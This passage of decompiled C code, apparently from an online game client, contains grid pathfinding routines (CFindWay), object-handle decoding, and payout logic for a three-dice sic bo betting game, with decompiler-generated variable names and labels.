abs(P1 - v1->StartPos.X) + abs(v14 - v16); FoundLen = 1; goto LABEL_28; } v17 = abs(P1 - v1->StartPos.X) + abs(v14 - v16); if ( v6 > (unsigned __int16)v17 ) { v1->NewPos.X = P1; v6 = v17; LABEL_28: v1->NewPos.Y = v14; goto LABEL_29; } } LABEL_29: v18 = v1->m_uiOneSideBlockCnt; if ( P2 < v18 && v14 < v18 && !((unsigned __int8)(1 << (P2 - 8 * (P2 >> 3))) & *(&v1->m_pBlockInfoByte[v14 * v1->m_uiRealOneSideDataSize] + (P2 >> 3))) ) { if ( FoundLen ) { v19 = abs(P2 - v1->StartPos.X) + abs(v14 - v1->StartPos.Y); if ( v6 <= (unsigned __int16)v19 ) goto LABEL_37; v1->NewPos.X = P2; v6 = v19; } else { v20 = abs(v14 - v1->StartPos.Y); v21 = abs(P2 - v1->StartPos.X); v1->NewPos.X = P2; v6 = v21 + v20; FoundLen = 1; } v1->NewPos.Y = v14; } LABEL_37: v5 = v29; v4 = P1; ++v14; } while ( v14 < v29 - 1 ); v13 = v31; LABEL_39: if ( !FoundLen ) { v22 = v1->StartPos.X; if ( v22 >= v4 ) { if ( v22 <= P2 ) { v23 = v1->StartPos.Y; if ( v23 >= v13 ) { if ( v23 <= v5 ) return 0; } } } if ( v4 ) { --v4; P1 = v4; } if ( v13 ) v31 = v13 - 1; v24 = v1->FWMapSx; if ( P2 < v24 ) ++P2; v25 = v1->FWMapSy; if ( v5 < v25 ) { ++v5; v29 = v5; } if ( !(v4 + v31) && v5 + P2 == v25 + v24 - 2 ) return 0; continue; } return 1; } } //----- (005F5AA0) -------------------------------------------------------- void __thiscall CFindWay::FindWay(CFindWay *this) { CFindWay *v1; // esi@1 unsigned int v2; // ecx@1 unsigned int v3; // eax@1 unsigned int v4; // ebp@1 unsigned int v5; // edi@1 unsigned int v6; // ecx@4 unsigned int v7; // eax@4 unsigned int v8; // edx@4 unsigned int v9; // ecx@5 unsigned int v10; // edx@5 bool v11; // zf@5 unsigned int v12; // ecx@8 unsigned int v13; // edx@8 unsigned int v14; // ecx@9 unsigned int v15; // edx@9 unsigned int v16; // eax@9 unsigned int v17; // ecx@10 unsigned int v18; // edx@10 unsigned int v19; // ebx@11 unsigned int v20; // edx@11 int v21; // edi@11 int v22; // ecx@11 int v23; // ebx@11 int v24; // eax@11 unsigned int v25; // eax@11 unsigned int v26; // ecx@11 unsigned int v27; // edx@12 unsigned int v28; // eax@12 int v29; // ecx@13 unsigned int v30; // ecx@17 int v31; // ecx@19 int v32; // edx@19 int v33; // eax@19 int v34; // edi@20 int v35; // ebx@21 int v36; // eax@23 unsigned int v37; // edx@23 unsigned int v38; // eax@23 unsigned int v39; // edi@24 int v40; // edx@24 int v41; // eax@24 int v42; // ebx@25 unsigned int v43; // ecx@29 int v44; // ecx@33 unsigned int v45; // eax@36 int v46; // ecx@36 int v47; // eax@36 __int16 v48; // di@36 unsigned int v49; // eax@36 int v50; // eax@36 unsigned int v51; // ecx@37 signed int v52; // edx@39 int v53; // eax@41 unsigned int v54; // eax@42 unsigned int v55; // ecx@46 unsigned int v56; // edx@46 unsigned int v57; // ecx@47 unsigned int v58; // edx@47 int v59; // eax@50 int v60; // edx@51 int v61; // edi@51 int v62; // ecx@52 int v63; // ebx@53 signed __int16 v64; // cx@55 int v65; // ecx@59 int v66; // ebx@59 int v67; // edx@59 int v68; // ecx@59 int v69; // edi@59 int v70; // edx@60 int v71; // ebx@61 signed __int16 v72; // dx@63 int v73; // edx@67 int v74; // ebx@67 int v75; // ecx@67 int v76; // edi@67 int v77; // ecx@67 int v78; // edx@68 int v79; // ebx@69 signed __int16 v80; // dx@71 int v81; // edx@75 int v82; // ebx@75 int v83; // ecx@75 int v84; // edx@75 int v85; // ecx@75 int v86; // edi@76 int v87; // ebx@77 signed __int16 v88; // di@79 int v89; // edi@83 unsigned int v90; // eax@84 int v91; // edx@84 int v92; // eax@84 bool v93; // sf@84 int v94; // eax@86 unsigned int v95; // ebx@86 int v96; // edi@86 unsigned int v97; // ebp@86 int v98; // ecx@88 int BI; // [sp+10h] [bp-10h]@23 signed __int16 BIa; // [sp+10h] [bp-10h]@47 signed int j; // [sp+14h] [bp-Ch]@50 int ja; // [sp+14h] [bp-Ch]@86 unsigned __int16 PosLenMapValue; // [sp+1Ch] [bp-4h]@23 v1 = this; v2 = this->EndPos.X; v3 = v1->m_uiOneSideBlockCnt; v4 = 0; v5 = v1->EndPos.Y; v1->NoJunc = 0; v1->ChangedEndPos = 0; if ( v2 >= v3 || v5 >= v3 || (unsigned __int8)(1 << (v2 - 8 * (v2 >> 3))) & *(&v1->m_pBlockInfoByte[v5 * v1->m_uiRealOneSideDataSize] + (v2 >> 3)) ) { v6 = v1->StartPos.X; v7 = v1->EndPos.Y; v1->LineStartPos.X = v1->EndPos.X; v8 = v1->StartPos.Y; v1->Pos.X = v6; v1->LineStartPos.Y = v7; v1->Pos.Y = v8; if ( !CFindWay::SearchMoveable(v1) ) { v12 = v1->StartPos.X; v13 = v1->StartPos.Y; v1->GoalReached = 0; v1->ChangedEndPos = 1; v1->EndPos.X = v12; v1->EndPos.Y = v13; v1->JuncList[0].X = v12; v1->JuncList[0].Y = v13; v1->NumOfJunc = 1; return; } v9 = v1->NewPos.Y; v10 = v1->NewPos.X; v1->EndPos.X = v10; v1->EndPos.Y = v9; v1->JuncList[0].X = v10; v11 = v10 == v1->StartPos.X; v1->JuncList[0].Y = v9; v1->ChangedEndPos = 1; if ( v11 && v1->EndPos.Y == v1->StartPos.Y ) { v1->GoalReached = 0; v1->NumOfJunc = 1; return; } } v14 = v1->StartPos.Y; v15 = v1->EndPos.X; v1->LineStartPos.X = v1->StartPos.X; v16 = v1->EndPos.Y; v1->LineStartPos.Y = v14; v1->Pos.X = v15; v1->Pos.Y = v16; if ( CFindWay::LineIntersect(v1) ) { CFindWay::LenMapClear(v1); v19 = v1->EndPos.X; v20 = v1->EndPos.Y; v21 = v1->StartPos.X; v1->PList[0].Y = v1->StartPos.Y; v1->PList[0].X = v21; v22 = v21 - v19; v23 = v1->StartPos.Y; v24 = v1->StartPos.Y - v20; v1->DiffY = v24; v1->DiffX = v22; v1->LList[0] = abs(v22) + abs(v24); v1->PCnt = 1; CFindWay::LenMapSet(v1, v21, v23, 1u); v25 = v1->StartPos.Y; v26 = v1->StartPos.X; v1->Pos.X = v26; v1->Pos.Y = v25; v1->NewPos.X = v26; v1->NewPos.Y = v25; v1->Step = 1; v1->GoalReached = 0; v1->NearLength = -1; do { v27 = v1->PCnt; v28 = 0; v1->Shortest = v4; if ( v27 > v4 ) { v29 = (int)v1->LList; do { if ( *(_WORD *)v29 < v1->LList[v1->Shortest] ) v1->Shortest = v28; ++v28; v29 += 2; } while ( v28 < v1->PCnt ); } v30 = v1->Shortest; v1->Pos.X = v1->PList[v30].X; v1->Pos.Y = v1->PList[v30].Y; if ( v1->LList[v30] < v1->NearLength ) { v1->NearPos.X = v1->Pos.X; v1->NearPos.Y = v1->Pos.Y; v1->NearLength = v1->LList[v30]; } v1->PCnt = v27 - 1; v1->PList[v30].X = v1->PList[v27 - 1].X; v1->PList[v30].Y = v1->PList[v27 - 1].Y; v1->LList[v1->Shortest] = v1->LList[v1->PCnt]; v31 = v1->Pos.X; v32 = v1->BaseLenMapX; v33 = v1->Pos.Y; if ( v32 <= v31 ) { v34 = v1->BaseLenMapY; if ( v34 <= v33 ) { v35 = v1->LenMapSx; if ( v35 + v32 > v31 ) { if ( v34 + v1->LenMapSy > v33 ) { v36 = v35 * (v33 - v34) - v32; v37 = v1->Pos.X; PosLenMapValue = v1->LenMap[v31 + v36] + 1; v38 = v1->Pos.Y; v1->NewPos.Y = v38; v1->NewPos.X = v37; v1->Dir = 2; v1->NewPos.Y = v38 - 1; BI = 0; do { v39 = v1->NewPos.X; v40 = v1->BaseLenMapX; v41 = v1->NewPos.Y; if ( v40 <= (signed int)v39 ) { v42 = v1->BaseLenMapY; if ( v42 <= v41 ) { if ( v40 + v1->LenMapSx > (signed int)v39 ) { if ( v42 + v1->LenMapSy > v41 ) { if ( v1->LenMap[v39 + v1->LenMapSx * (v41 - v42) - v40] == -1 ) { v43 = v1->m_uiOneSideBlockCnt; if ( v39 < v43 ) { if ( v41 < v43 ) { if ( !((unsigned __int8)(1 << (v39 - 8 * (v39 >> 3))) & *(&v1->m_pBlockInfoByte[v41 * v1->m_uiRealOneSideDataSize] + (v39 >> 3))) ) { if ( v40 <= (signed int)v39 ) { v44 = v1->BaseLenMapY; if ( v44 <= v41 ) { if ( v40 + v1->LenMapSx > (signed int)v39 ) { if ( v42 + v1->LenMapSy > v41 ) { v1->LenMap[v39 + v1->LenMapSx * (v41 - v44) - v40] = PosLenMapValue; v45 = v1->PCnt; v1->PList[v45].X = v1->NewPos.X; v1->PList[v45].Y = v1->NewPos.Y; v46 = v1->NewPos.X - v1->EndPos.X; v47 = v1->NewPos.Y - v1->EndPos.Y; v1->DiffY = v47; v48 = abs(v47); v49 = v1->PCnt; v1->DiffX = v46; v1->LList[v49] = abs(v46) + v48; v50 = v1->PCnt + 1; v1->PCnt = v50; if ( (unsigned int)v50 >= 0x300 ) break; } } } } } } } } } } } } v51 = v1->NewPos.X; if ( v51 != v1->EndPos.X || v1->NewPos.Y != v1->EndPos.Y ) { v52 = BI; } else { v1->GoalReached = 1; v52 = 7; } v53 = v1->Dir; v1->NewPos.X = v51 + v1->XTbl[v53]; v1->NewPos.Y += v1->YTbl[v53]; v1->Dir = v1->DirTbl[v53]; BI = v52 + 1; } while ( (unsigned int)(v52 + 1) < 8 ); } } } } v54 = v1->PCnt; v4 = 0; } while ( v54 < 0x300 && !v1->GoalReached && v54 ); if ( !v1->GoalReached ) { v55 = v1->NearPos.X; v56 = v1->NearPos.Y; v1->ChangedEndPos = 1; v1->EndPos.X = v55; v1->EndPos.Y = v56; } v57 = v1->EndPos.Y; v58 = v1->EndPos.X; v1->NewPos.X = v58; v1->NewPos.Y = v57; v1->JuncBF[0].X = v58; v1->JuncBF[0].Y = v57; BIa = -1; v1->NoJunc = 1; while ( v1->NewPos.X != v1->StartPos.X || v1->NewPos.Y != v1->StartPos.Y ) { --v1->NewPos.Y; v59 = v1->BaseLenMapX; v1->Dir = 2; j = 2; do { v60 = v1->NewPos.X; v61 = v1->NewPos.Y; if ( v59 <= v60 ) { v62 = v1->BaseLenMapY; if ( v62 <= v61 ) { v63 = v1->LenMapSx; if ( v63 + v59 > v60 ) { if ( v62 + v1->LenMapSy > v61 ) { v64 = v1->LenMap[v60 + v63 * (v61 - v62) - v59]; if ( v64 < (unsigned __int16)BIa ) { if ( v60 < v1->FWMapSx && v61 < v1->FWMapSy ) { BIa = v64; v1->ShPos.X = v60; v1->ShPos.Y = v61; } } } } } } v65 = v1->Dir; v66 = v60 + v1->XTbl[v65]; v1->NewPos.X = v66; v67 = v61 + v1->YTbl[v65]; v1->NewPos.Y = v67; v1->Dir = v1->DirTbl[v65]; v68 = v66; v69 = v67; if ( v59 <= v66 ) { v70 = v1->BaseLenMapY; if ( v70 <= v69 ) { v71 = v1->LenMapSx; if ( v71 + v59 > v68 ) { if ( v70 + v1->LenMapSy > v69 ) { v72 = v1->LenMap[v68 + v71 * (v69 - v70) - v59]; if ( v72 < (unsigned __int16)BIa ) { if ( v68 < v1->FWMapSx && v69 < v1->FWMapSy ) { BIa = v72; v1->ShPos.X = v68; v1->ShPos.Y = v69; } } } } } } v73 = v1->Dir; v74 = v68 + v1->XTbl[v73]; v1->NewPos.X = v74; v75 = v69 + v1->YTbl[v73]; v1->NewPos.Y = v75; v76 = v75; v77 = v74; v1->Dir = v1->DirTbl[v73]; if ( v59 <= v74 ) { v78 = v1->BaseLenMapY; if ( v78 <= v76 ) { v79 = v1->LenMapSx; if ( v79 + v59 > v77 ) { if ( v78 + v1->LenMapSy > v76 ) { v80 = v1->LenMap[v77 + v79 * (v76 - v78) - v59]; if ( v80 < (unsigned __int16)BIa ) { if ( v77 < v1->FWMapSx && v76 < v1->FWMapSy ) { BIa = v80; v1->ShPos.X = v77; v1->ShPos.Y = v76; } } } } } } v81 = v1->Dir; v82 = v77 + v1->XTbl[v81]; v1->NewPos.X = v82; v83 = v76 + v1->YTbl[v81]; v1->NewPos.Y = v83; v1->Dir = v1->DirTbl[v81]; v84 = v83; v85 = v82; if ( v59 <= v82 ) { v86 = v1->BaseLenMapY; if ( v86 <= v84 ) { v87 = v1->LenMapSx; if ( v87 + v59 > v85 ) { if ( v86 + v1->LenMapSy > v84 ) { v88 = v1->LenMap[v85 + v87 * (v84 - v86) - v59]; if ( v88 < (unsigned __int16)BIa ) { if ( v85 < v1->FWMapSx && v84 < v1->FWMapSy ) { BIa = v88; v1->ShPos.X = v85; v1->ShPos.Y = v84; } } } } } } v89 = v1->Dir; v1->NewPos.X = v85 + v1->XTbl[v89]; v1->NewPos.Y = v84 + v1->YTbl[v89]; v11 = j == 1; v1->Dir = v1->DirTbl[v89]; --j; } while ( !v11 ); v90 = v1->ShPos.X; v91 = v1->NoJunc; v1->NewPos.Y = v1->ShPos.Y; v1->NewPos.X = v90; v1->JuncBF[v91].X = v90; v1->JuncBF[v91].Y = v1->ShPos.Y; v92 = v1->NoJunc + 1; v4 = 0; v93 = v1->NoJunc - 511 < 0; v1->NoJunc = v92; if ( !(v93 ^ __OFSUB__(v92, 512)) ) { v1->GoalReached = 0; break; } } v94 = v1->NoJunc; v95 = v1->StartPos.X; v96 = 0; v1->NumOfJunc = v4; v97 = v1->StartPos.Y; ja = v94; while ( v96 < ja ) { v1->LineStartPos.X = v95; v1->LineStartPos.Y = v97; v1->Pos.X = v1->JuncBF[v96].X; v1->Pos.Y = v1->JuncBF[v96].Y; if ( CFindWay::LineIntersect(v1) ) { ++v96; } else { v95 = v1->JuncBF[v96].X; v97 = v1->JuncBF[v96].Y; v98 = v1->NumOfJunc; v1->JuncList[v98].X = v1->JuncBF[v96].X; v1->JuncList[v98].Y = v1->JuncBF[v96].Y; ja = v96; ++v1->NumOfJunc; v96 = 0; } } } else { v17 = v1->EndPos.X; v18 = v1->EndPos.Y; v1->GoalReached = 1; v1->JuncList[0].X = v17; v1->JuncList[0].Y = v18; v1->NumOfJunc = 1; } } //----- (005F6460) -------------------------------------------------------- void __thiscall CFindWay::Init(CFindWay *this) { CFindWay *v1; // ebp@1 int v2; // edx@1 int v3; // ecx@1 int dwXTbl; // [sp+10h] [bp-7Ch]@1 int v5; // [sp+14h] [bp-78h]@1 int v6; // [sp+18h] [bp-74h]@1 int v7; // [sp+1Ch] [bp-70h]@1 int v8; // [sp+20h] [bp-6Ch]@1 int v9; // [sp+24h] [bp-68h]@1 int v10; // [sp+28h] [bp-64h]@1 int v11; // [sp+2Ch] [bp-60h]@1 int v12; // [sp+30h] [bp-5Ch]@1 int v13; // [sp+34h] [bp-58h]@1 int v14; // [sp+38h] [bp-54h]@1 int v15; // [sp+3Ch] [bp-50h]@1 int v16; // [sp+40h] [bp-4Ch]@1 int dwYTbl; // [sp+44h] [bp-48h]@1 int v18; // [sp+48h] [bp-44h]@1 int v19; // [sp+4Ch] [bp-40h]@1 int v20; // [sp+50h] [bp-3Ch]@1 int v21; // [sp+54h] [bp-38h]@1 int v22; // [sp+58h] [bp-34h]@1 int v23; // [sp+5Ch] [bp-30h]@1 int v24; // [sp+60h] [bp-2Ch]@1 int v25; // [sp+64h] [bp-28h]@1 int v26; // [sp+68h] [bp-24h]@1 int v27; // [sp+6Ch] [bp-20h]@1 int v28; // [sp+70h] [bp-1Ch]@1 int v29; // [sp+74h] [bp-18h]@1 int bDirTbl; // [sp+78h] [bp-14h]@1 int v31; // [sp+7Ch] [bp-10h]@1 int v32; // [sp+80h] [bp-Ch]@1 unsigned int v33; // [sp+88h] [bp-4h]@1 v1 = this; v33 = (unsigned int)&dwXTbl ^ __security_cookie; v32 = 513; v6 = 1; v13 = 1; v19 = 1; v21 = 1; bDirTbl = 100926208; v31 = 786440; dwXTbl = 0; v5 = 0; v7 = 2; v8 = -1; v9 = 0; v10 = 0; v11 = 0; v12 = -1; v14 = 0; v15 = 0; v16 = -2; dwYTbl = 0; v18 = -1; v20 = 0; v22 = 0; v23 = 2; v24 = 0; v25 = -1; v26 = -2; v27 = 0; v28 = 0; v29 = 0; this->NoJunc = 0; this->NumOfJunc = 0; this->LenMap = 0; CFindWay::LenMapInit(this, 256, 256); v2 = v31; *(_DWORD *)&v1->DirTbl[0] = bDirTbl; v3 = v32; *(_DWORD *)&v1->DirTbl[4] = v2; *(_DWORD *)&v1->DirTbl[8] = v3; memcpy(v1->XTbl, &dwXTbl, sizeof(v1->XTbl)); memcpy(v1->YTbl, &dwYTbl, sizeof(v1->YTbl)); v1->DirTbl[12] = 9; } //----- (005F65D0) -------------------------------------------------------- void __thiscall CFindWay::CFindWay(CFindWay *this) { this->m_bLoaded = 0; this->m_pBlockInfoByte = 0; CFindWay::Init(this); } //----- (005F65F0) -------------------------------------------------------- unsigned int __cdecl ShineObjectHandleUnion::sohu_Initialize() { unsigned int result; // eax@1 int v1; // ecx@4 int v2; // ecx@10 int v3; // ecx@16 result = 0; do { if ( result & 3 ) { v1 = result & 7; if ( (result & 7) == 2 ) { ShineObjectHandleUnion::sohu_Index[result] = 2; } else { if ( v1 == 6 ) { ShineObjectHandleUnion::sohu_Index[result] = 3; } else { if ( v1 == 1 ) { ShineObjectHandleUnion::sohu_Index[result] = 1; } else { v2 = result & 0xF; switch ( v2 ) { case 5: ShineObjectHandleUnion::sohu_Index[result] = 0; break; case 13: ShineObjectHandleUnion::sohu_Index[result] = 4; break; case 11: ShineObjectHandleUnion::sohu_Index[result] = 8; break; default: v3 = result & 0x1F; switch ( v3 ) { case 3: ShineObjectHandleUnion::sohu_Index[result] = 9; break; case 7: ShineObjectHandleUnion::sohu_Index[result] = 6; break; case 15: ShineObjectHandleUnion::sohu_Index[result] = 7; break; default: ShineObjectHandleUnion::sohu_Index[result] = (((v3 != 19) - 1) & 0xB) - 1; break; } break; } } } } } else { ShineObjectHandleUnion::sohu_Index[result] = 5; } ++result; } while ( result < 0x20 ); return result; } //----- (005F66B0) -------------------------------------------------------- char __thiscall ShineObjectHandleUnion::sohu_HandleSplit(ShineObjectHandleUnion *this, unsigned __int16 *hnd) { unsigned __int16 v2; // cx@1 char result; // al@1 v2 = this->sohu_Handle; result = ShineObjectHandleUnion::sohu_Index[v2 & 0x1F]; switch ( result ) { case 5: *hnd = v2 >> 2; break; case 1: case 2: case 3: *hnd = v2 >> 3; break; case 0: case 4: case 8: *hnd = v2 >> 4; break; case 6: case 7: case 9: case 0xA: *hnd = v2 >> 5; break; default: result = -1; break; } return result; } //----- (005F6730) -------------------------------------------------------- bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, char *pSource, int *pTarget) { bool result; // al@3 signed int v4; // esi@4 char v5; // al@5 int v6; // esi@8 int v7; // eax@8 if ( pSource && pTarget ) { v4 = 0; while ( 1 ) { v5 = pSource[v4]; if ( (unsigned __int8)v5 < 1u ) break; if ( (unsigned __int8)v5 > 6u ) break; ++v4; if ( v4 >= 3 ) { *pTarget = 0; v6 = 6 * (unsigned __int8)*pSource - 6; *pTarget = v6; v7 = 6 * (v6 + (unsigned __int8)pSource[1]) - 6; *pTarget = v7; *pTarget = (unsigned __int8)pSource[2] + v7 - 1; return 1; } } result = 0; } else { result = 0; } return result; } //----- (005F6790) -------------------------------------------------------- bool __thiscall DiceTaiSai::ConvertDice(DiceTaiSai *this, int nSource, char *pTarget) { bool result; // al@4 if ( pTarget && nSource >= 0 && nSource < 216 ) { pTarget[2] = nSource % 6 + 1; pTarget[1] = nSource / 6 % 6 + 1; result = 1; *pTarget = nSource / 6 / 6 % 6 + 1; } else { result = 0; } return result; } //----- (005F67D0) -------------------------------------------------------- bool __thiscall DiceTaiSai::get_PrizeWinningBet(DiceTaiSai *this, int nDiceVariety, DiceTaiSaiPrizeWinning *pPrizeWinningBet) { char *v4; // eax@5 signed int v5; // esi@5 char *v6; // ebx@7 char v7; // al@7 int v8; // ecx@17 int v9; // ecx@19 int v10; // ecx@23 int v11; // edi@25 signed int v12; // esi@25 signed int v13; // ecx@26 int v14; // edi@34 signed int v15; // esi@34 signed int v16; // ecx@35 int v17; // edi@43 signed int v18; // esi@43 signed int v19; // ecx@44 int v20; // edi@52 signed int v21; // esi@52 signed int v22; // ecx@53 int v23; // edi@61 signed int v24; // esi@61 signed int v25; // ecx@62 int v26; // edi@70 signed int v27; // esi@70 signed int v28; // ecx@71 int v29; // edi@79 signed int v30; // esi@79 signed int v31; // ecx@80 int v32; // edi@88 signed int v33; // esi@88 signed int v34; // ecx@89 int v35; // edi@97 signed int v36; // esi@97 signed int v37; // ecx@98 int v38; // edi@106 signed int v39; // esi@106 signed int v40; // ecx@107 int v41; // edi@115 signed int v42; // esi@115 signed int v43; // ecx@116 int v44; // edi@124 signed int v45; // esi@124 signed int v46; // ecx@125 int v47; // edi@133 signed int v48; // esi@133 signed int v49; // ecx@134 int v50; // edi@142 signed int v51; // esi@142 signed int v52; // ecx@143 int v53; // edi@151 signed int v54; // esi@151 signed int v55; // ecx@152 int v56; // edx@160 signed int v57; // ecx@160 char *v58; // ecx@165 int v59; // edx@166 signed int v60; // ecx@166 char *v61; // ecx@171 int v62; // edx@172 signed int v63; // ecx@172 char *v64; // ecx@177 int v65; // edx@178 signed int v66; // ecx@178 char *v67; // ecx@183 int v68; // edx@184 signed int v69; // ecx@184 char *v70; // ecx@189 int v71; // edx@190 signed int v72; // ecx@190 char *v73; // ecx@195 int v74; // [sp+0h] [bp-8h]@25 int v75; // [sp+4h] [bp-4h]@25 if ( nDiceVariety < 0 || nDiceVariety >= 216 ) return 0; if ( !pPrizeWinningBet ) return 0; v4 = (char *)pPrizeWinningBet->PrizeWinningBetInfo; v5 = 12; do { pPrizeWinningBet->nPrizeWinningBetCnt = 0; *v4 = 0; v4 += 8; --v5; } while ( v5 ); v6 = (char *)this + 22 * nDiceVariety; v7 = 0; if ( v6[3] == 1 ) { pPrizeWinningBet->PrizeWinningBetInfo[0].nBetting = 0; } else { if ( v6[3] != 2 ) goto LABEL_12; pPrizeWinningBet->PrizeWinningBetInfo[0].nBetting = 1; } v7 = 1; LABEL_12: if ( v6[4] == 1 ) { pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7].nBetting = 2; } else { if ( v6[4] != 2 ) goto LABEL_17; pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7].nBetting = 3; } ++v7; LABEL_17: v8 = v6[5]; if ( v8 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = v8 + 3; v9 = v6[6]; if ( v9 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = v9 + 9; if ( 2 * (v6[6] > 0) - 1 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 16; v10 = v6[7]; if ( v10 > 0 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = v10 + 13; v11 = 0; v75 = 2; v74 = 1; v12 = 0; do { v13 = 0; while ( v6[v13] != *(&v74 + v12) ) { ++v13; if ( v13 >= 3 ) goto LABEL_31; } ++v11; LABEL_31: ++v12; } while ( v12 < 2 ); if ( v11 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 31; v14 = 0; v74 = 1; v75 = 3; v15 = 0; do { v16 = 0; while ( v6[v16] != *(&v74 + v15) ) { ++v16; if ( v16 >= 3 ) goto LABEL_40; } ++v14; LABEL_40: ++v15; } while ( v15 < 2 ); if ( v14 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 32; v17 = 0; v74 = 1; v75 = 4; v18 = 0; do { v19 = 0; while ( v6[v19] != *(&v74 + v18) ) { ++v19; if ( v19 >= 3 ) goto LABEL_49; } ++v17; LABEL_49: ++v18; } while ( v18 < 2 ); if ( v17 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 33; v20 = 0; v74 = 1; v75 = 5; v21 = 0; do { v22 = 0; while ( v6[v22] != *(&v74 + v21) ) { ++v22; if ( v22 >= 3 ) goto LABEL_58; } ++v20; LABEL_58: ++v21; } while ( v21 < 2 ); if ( v20 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 34; v23 = 0; v74 = 1; v75 = 6; v24 = 0; do { v25 = 0; while ( v6[v25] != *(&v74 + v24) ) { ++v25; if ( v25 >= 3 ) goto LABEL_67; } ++v23; LABEL_67: ++v24; } while ( v24 < 2 ); if ( v23 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 35; v26 = 0; v74 = 2; v75 = 3; v27 = 0; do { v28 = 0; while ( v6[v28] != *(&v74 + v27) ) { ++v28; if ( v28 >= 3 ) goto LABEL_76; } ++v26; LABEL_76: ++v27; } while ( v27 < 2 ); if ( v26 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 36; v29 = 0; v74 = 2; v75 = 4; v30 = 0; do { v31 = 0; while ( v6[v31] != *(&v74 + v30) ) { ++v31; if ( v31 >= 3 ) goto LABEL_85; } ++v29; LABEL_85: ++v30; } while ( v30 < 2 ); if ( v29 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 37; v32 = 0; v74 = 2; v75 = 5; v33 = 0; do { v34 = 0; while ( v6[v34] != *(&v74 + v33) ) { ++v34; if ( v34 >= 3 ) goto LABEL_94; } ++v32; LABEL_94: ++v33; } while ( v33 < 2 ); if ( v32 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 38; v35 = 0; v74 = 2; v75 = 6; v36 = 0; do { v37 = 0; while ( v6[v37] != *(&v74 + v36) ) { ++v37; if ( v37 >= 3 ) goto LABEL_103; } ++v35; LABEL_103: ++v36; } while ( v36 < 2 ); if ( v35 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 39; v38 = 0; v74 = 3; v75 = 4; v39 = 0; do { v40 = 0; while ( v6[v40] != *(&v74 + v39) ) { ++v40; if ( v40 >= 3 ) goto LABEL_112; } ++v38; LABEL_112: ++v39; } while ( v39 < 2 ); if ( v38 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 40; v41 = 0; v74 = 3; v75 = 5; v42 = 0; do { v43 = 0; while ( v6[v43] != *(&v74 + v42) ) { ++v43; if ( v43 >= 3 ) goto LABEL_121; } ++v41; LABEL_121: ++v42; } while ( v42 < 2 ); if ( v41 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 41; v44 = 0; v74 = 3; v75 = 6; v45 = 0; do { v46 = 0; while ( v6[v46] != *(&v74 + v45) ) { ++v46; if ( v46 >= 3 ) goto LABEL_130; } ++v44; LABEL_130: ++v45; } while ( v45 < 2 ); if ( v44 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 42; v47 = 0; v74 = 4; v75 = 5; v48 = 0; do { v49 = 0; while ( v6[v49] != *(&v74 + v48) ) { ++v49; if ( v49 >= 3 ) goto LABEL_139; } ++v47; LABEL_139: ++v48; } while ( v48 < 2 ); if ( v47 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 43; v50 = 0; v74 = 4; v75 = 6; v51 = 0; do { v52 = 0; while ( v6[v52] != *(&v74 + v51) ) { ++v52; if ( v52 >= 3 ) goto LABEL_148; } ++v50; LABEL_148: ++v51; } while ( v51 < 2 ); if ( v50 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 44; v53 = 0; v74 = 5; v75 = 6; v54 = 0; do { v55 = 0; while ( v6[v55] != *(&v74 + v54) ) { ++v55; if ( v55 >= 3 ) goto LABEL_157; } ++v53; LABEL_157: ++v54; } while ( v54 < 2 ); if ( v53 == 2 ) pPrizeWinningBet->PrizeWinningBetInfo[(unsigned __int8)v7++].nBetting = 45; v56 = 0; v57 = 0; do { if ( v6[v57] == 1 ) ++v56; ++v57; } while ( v57 < 3 ); if ( v56 > 0 ) { v58 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v58[4] = v56; *((_DWORD *)v58 + 2) = 46; ++v7; } v59 = 0; v60 = 0; do { if ( v6[v60] == 2 ) ++v59; ++v60; } while ( v60 < 3 ); if ( v59 > 0 ) { v61 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v61[4] = v59; *((_DWORD *)v61 + 2) = 47; ++v7; } v62 = 0; v63 = 0; do { if ( v6[v63] == 3 ) ++v62; ++v63; } while ( v63 < 3 ); if ( v62 > 0 ) { v64 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v64[4] = v62; *((_DWORD *)v64 + 2) = 48; ++v7; } v65 = 0; v66 = 0; do { if ( v6[v66] == 4 ) ++v65; ++v66; } while ( v66 < 3 ); if ( v65 > 0 ) { v67 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v67[4] = v65; *((_DWORD *)v67 + 2) = 49; ++v7; } v68 = 0; v69 = 0; do { if ( v6[v69] == 5 ) ++v68; ++v69; } while ( v69 < 3 ); if ( v68 > 0 ) { v70 = (char *)pPrizeWinningBet + 8 * (unsigned __int8)v7; v70[4] = v68; *((_DWORD *)v70 + 2) = 50; ++v7; } v71 = 0; v72 = 0; do { if ( v6[v72] == 6 ) ++v71; 